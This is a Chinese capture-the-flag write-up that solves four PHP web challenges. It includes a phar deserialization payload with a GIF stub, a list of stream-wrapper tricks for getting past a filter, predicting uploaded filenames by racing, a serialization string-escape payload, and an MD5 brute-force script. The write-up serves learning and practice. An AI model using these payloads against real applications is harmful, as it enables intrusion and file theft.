大吉杯ctf wp

虎山行's revenge

由于第一个虎山行直接install重装漏洞,getshell了,所有有了虎山行2

给了附件www.zip,本地安装发现是minicms,于是google一下相关漏洞:

发现大多数都是xss,文件包含%00截断,但是环境上是7.3,无法%00,于是查看了相关的文件

image.png

找到一处没有后缀限制的任意文件包含,但是需要后台权限,根据下载www.zip,得到配置文件的账号密码,登陆之后

image.png

任意文件读取,尝试读取/flag:

image.png

image.png

waf.php:

<?php
function waf($file){
    if (preg_match("/^phar|smtp|dict|zip|compress|file|etc|root|filter|php|flag|ctf|hint|\.\.\//i",$file)){
        die("姿势太简单啦,来一点骚的?!");
    }else{
        return $file;
    }
}

根据之前看到的uploud.php,读取一下image.png

存在upload文件,那么就很明显了,就是一个phar反序列化,过滤很好绕过:

compress.zlib://phar://

compress.zlib2://phar://

compress.bzip://phar:

compress.bzip2://phar:

php://filter/resource=phar://

zlib:phar://

payload:

 <?php
class Ctfshow{
    public $ctfer = 'shower';
}

$test = new Ctfshow();
@unlink("phar.jpg");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($test);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
@rename("phar.phar","phar.jpg");
?>

uplaod.php

 <?php
error_reporting(0);
// 允许上传的图片后缀
$allowedExts = array("gif", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
// echo $_FILES["file"]["size"];
$extension = end($temp);     // 获取文件后缀名
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 2048000)   // 小于 2000kb
&& in_array($extension, $allowedExts))
{
    if ($_FILES["file"]["error"] > 0)
    {
        echo "文件出错: " . $_FILES["file"]["error"] . "<br>";
    }
    else
    {
        if (file_exists("upload/" . $_FILES["file"]["name"]))
        {
            echo $_FILES["file"]["name"] . " 文件已经存在。 ";
        }
        else
        {
            $md5_unix_random =substr(md5(time()),0,8);
            $filename = $md5_unix_random.'.'.$extension;
            move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename);
            echo "上传成功,文件存在upload/";
        }
    }
}
else
{
    echo "文件类型仅支持jpg、png、gif等图片格式";
}
?>

文件名是$md5_unix_random =substr(md5(time()),0,8);

看见y4tacker师傅的利用burp返回的时间:

$filename=substr(md5(strtotime('Sat, 23 Jan 2021 10:21:41 GMT')),0,8);
echo $filename;

ying师傅博客也有纵横杯的相关脚本

http://0498e94e-4f92-403d-93fd-d3e8abed5db5.chall.ctf.show/hsxhsxhsxctfshowsecretfilel/index.php?file=zlib:phar:///var/www/html/upload/31fde9ab.jpg

image.png

 <?php
show_source(__FILE__);
$unser = $_GET['unser'];
class Unser {
    public $username='Firebasky';
    public $password;
    function __destruct() {
        if($this->username=='ctfshow'&&$this->password==(int)md5(time())){
            system('cp /ctfshow* /var/www/html/flag.txt');
        }
    }
}
$ctf=@unserialize($unser);
system('rm -rf /var/www/html/flag.txt'); 

反序列化:

当字母开头时:(int)md5(time())=0

所以构造:

<?php
class Unser{
    public $username = "ctfshow";
    public $password = 0;
}
$a = new Unser();
echo urlencode(serialize($a));

条件竞争一下:

image.png

虎山行

这道题直接重装漏洞getshell,更目录下发现flag

spaceman

做法应该是非预期:

  <?php
error_reporting(0);
highlight_file(__FILE__);
class spaceman
{
    public $username;
    public $password;
    public function __construct($username,$password)
    {
        $this->username = $username;
        $this->password = $password;
    }
    public function __wakeup()
    {
        if($this->password==='ctfshowvip')
        {
            include("flag.php");
            echo $flag;  
        }
        else
        {
            echo 'wrong password';
        }
    }
}
function filter($string){
    return str_replace('ctfshowup','ctfshow',$string);
}
$str = file_get_contents("php://input");
if(preg_match('/\_|\.|\]|\[/is',$str)){  
    die("I am sorry but you have to leave.");
}else{
    extract($_POST);
}
$ser = filter(serialize(new spaceman($user_name,$pass_word)));
$test = unserialize($ser);
?> 

采用php://input 流来接收参数,进行变量覆盖的时候使用POST:

本地测试发现url编码可以绕过:接收数据流的时候不糊自动解码:

image.png

最终payload:

user[name=1&pass[word=ctfshowvip

没有过滤空格

 user name=1&pass word=ctfshowvip

在后来的查阅资料又发现一个东西:

curl传输数据的时候php://input 是接收不到数据的:

参考:

https://www.cnblogs.com/zmdComeOn/p/11270253.html

构造payload:

<?php
$ch = curl_init();
$data = ['username' => 'a', 'password' => 'ctfshowvip','sign'=>'asdfg123456'];
$url = 'http://localhost/go3.php';//fpost.php是接受数据的文件,代码在下面
$ch = curl_init(); //初始化curl
curl_setopt($ch, CURLOPT_URL, $url);//设置链接
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//设置是否返回信息
curl_setopt($ch, CURLOPT_POST, 1);//设置为POST方式
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);//POST数据
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)");
$response = curl_exec($ch);//接收返回信息
if(curl_errno($ch)){//出错则显示错误信息
    print curl_error($ch);
}
curl_close($ch); //关闭curl链接
echo $response;//显示返回信息

即可得到flag

其实原理还是这个:

预期解:

其实是一个很明显的反序列化逃逸,也就是对象逃逸:

function filter($string){
    return str_replace('ctfshowup','ctfshow',$string);
} 

在序列化之后长度缩短2:

意味着存在逃逸:

正常 payload:

<?php
class spaceman
{
    public $username;
    public $password;
    public function __construct()
    {
        $this->username = 'zerobs';
        $this->password = 'ctfshowvip';
    }
    public function __wakeup()
    {
        if($this->password==='ctfshowvip')
        {
            echo 'ok';  
        }
        else
        {
            echo 'wrong password';
        }
    }
}
function filter($string){
    return str_replace('ctfshowup','ctfshow',$string);
}
$a  = new spaceman();
echo serialize($a)
?>
  
 输出:
O:8:"spaceman":2:{s:8:"username";s:6:"zerobs";s:8:"password";s:10:"ctfshowvip";}

由于会缩短:

我们要构造的要当做正确的序列化内容:

s:8:"password";s:10"ctfshowvip";}

需要覆盖的内容:
";s:8:"password";s:10:"
长度24:

构造:

image.png

最终payload:

user name=ctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowup&pass word=1";s:8:"password";s:10:"ctfshowvip";}

image.png

veryphp

  <?php
error_reporting(0);
highlight_file(__FILE__);
include("config.php");
class qwq
{
    function __wakeup(){
        die("Access Denied!");
    }
    static function oao(){
        show_source("config.php");
    }
}
$str = file_get_contents("php://input");
if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){
    die("I am sorry but you have to leave.");
}else{
    extract($_POST);
}
if(isset($shaw_root)){
    if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){
        echo $hint;
    }else{
        echo "Almost there."."<br>";
    }
}else{
    echo "<br>"."Input correct parameters"."<br>";
    die();
}
if($ans===$SecretNumber){
    echo "<br>"."Congratulations!"."<br>";
    call_user_func($my_ans);
}

Input correct parameters

由于过了%号,所以不能用[],但是可以用空格:

然后接下来是正则的知识点:长度29:

shaw root=-a9<b>zxaaaaaa>>>>abcaphp@Rsa

接下来一层层的绕过就行:

网上找个爆破脚本:

import hashlib
s = ''
dic = '0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
for a in dic:
    for b in dic:
        for c in dic:
            for d in dic:
                for g in dic:
                    t = "shaw" + str(a) + str(b) + str(c) + str(d) + str(g) + "root"
                    md5 = hashlib.md5(t.encode("utf-8")).hexdigest()
                    if md5 == '166b47a5cb1ca2431a0edfcef200684f':
                        print(t)

最终payload:

image.png

参考:

https://y4tacker.gitee.io/2021/01/23/2021-DJBCTF/

Last modification:January 26th, 2021 at 09:23 am